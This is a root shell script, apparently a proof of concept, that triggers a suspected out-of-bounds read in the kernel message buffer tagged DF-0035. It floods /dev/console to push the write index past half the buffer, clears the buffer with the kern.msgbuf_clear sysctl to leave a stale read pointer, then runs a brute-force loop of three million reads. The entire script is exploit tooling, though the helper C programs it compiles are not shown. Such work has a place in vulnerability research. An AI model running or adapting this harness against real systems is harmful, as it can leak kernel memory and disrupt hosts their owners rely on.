#!/bin/sh
# DF-0035 — brute-force wrapper: arrange the stale-msg_bufr geometry using
# ONLY the natural kern.msgbuf_clear sysctl (no kvm_write), then run the
# tight 1-byte-step+read loop looking for an OOB read.
#
# Usage (root):  sh run_brute.sh
set -eu
cd /root/poc/DF-0035

echo "[+] building helper tools if needed"
[ -x dump_msgbuf ]      || cc -O2 -o dump_msgbuf dump_msgbuf.c -lkvm
[ -x msgbuf_brute ]     || cc -O2 -o msgbuf_brute msgbuf_brute.c

MSG_SIZE=1048544
HALF=$((MSG_SIZE / 2))   # 524272

echo "[+] current msgbuf state:"
./dump_msgbuf | sed -n '1,8p'

# Step 1: drive msg_bufx forward until (msg_bufx % msg_size) > msg_size/2.
# Use a console-write spam; cap at ~2 MiB so we don't blow past the buffer.
echo "[+] step 1: pushing msg_bufx so Vm > $HALF"
PREV_VMLINE=$(./dump_msgbuf | grep '^msg_bufx' | head -1)
echo "    $PREV_VMLINE"
# Write a chunk then re-check; repeat up to 8 times
for i in 1 2 3 4 5 6 7 8; do
	VM=$(./dump_msgbuf | grep '^msg_bufx' | head -1 | sed 's/.*mod size = //;s/[^0-9].*//')
	echo "    iter $i: Vm=$VM"
	if [ "$VM" -gt "$HALF" ] && [ "$VM" -lt "$MSG_SIZE" ]; then
		echo "    reached Vm=$VM > $HALF, proceeding to clear"
		break
	fi
	# Write ~128 KiB more to /dev/console to advance msg_bufx
	( python3 -c "import sys; sys.stdout.write('A'*131072)" 2>/dev/null \
		|| yes A | head -c 131072 ) >/dev/console 2>/dev/null || true
done

# Step 2: clear msgbuf.  msg_bufr := msg_bufx (current value, Vm > msg_size/2).
echo "[+] step 2: kern.msgbuf_clear=1"
sysctl kern.msgbuf_clear=1 >/dev/null || true
./dump_msgbuf | grep -E 'msg_bufx|msg_bufr' | head -2
VMR=$(./dump_msgbuf | grep '^msg_bufr' | head -1 | sed 's/.*mod size = //;s/[^0-9].*//')
echo "    post-clear Vm_bufr=$VMR"
if [ "$VMR" -le "$HALF" ]; then
	echo "[-] Vm_bufr not > msg_size/2; aborting brute attempt"
	exit 3
fi

# Step 3: brute-force the 1-byte-wide window with 3,000,000 tight iters.
echo "[+] step 3: brute-forcing 3M tight-step reads (this takes ~1-2 min)"
./msgbuf_brute 3000000
RC=$?
echo "[+] brute rc=$RC"
exit $RC
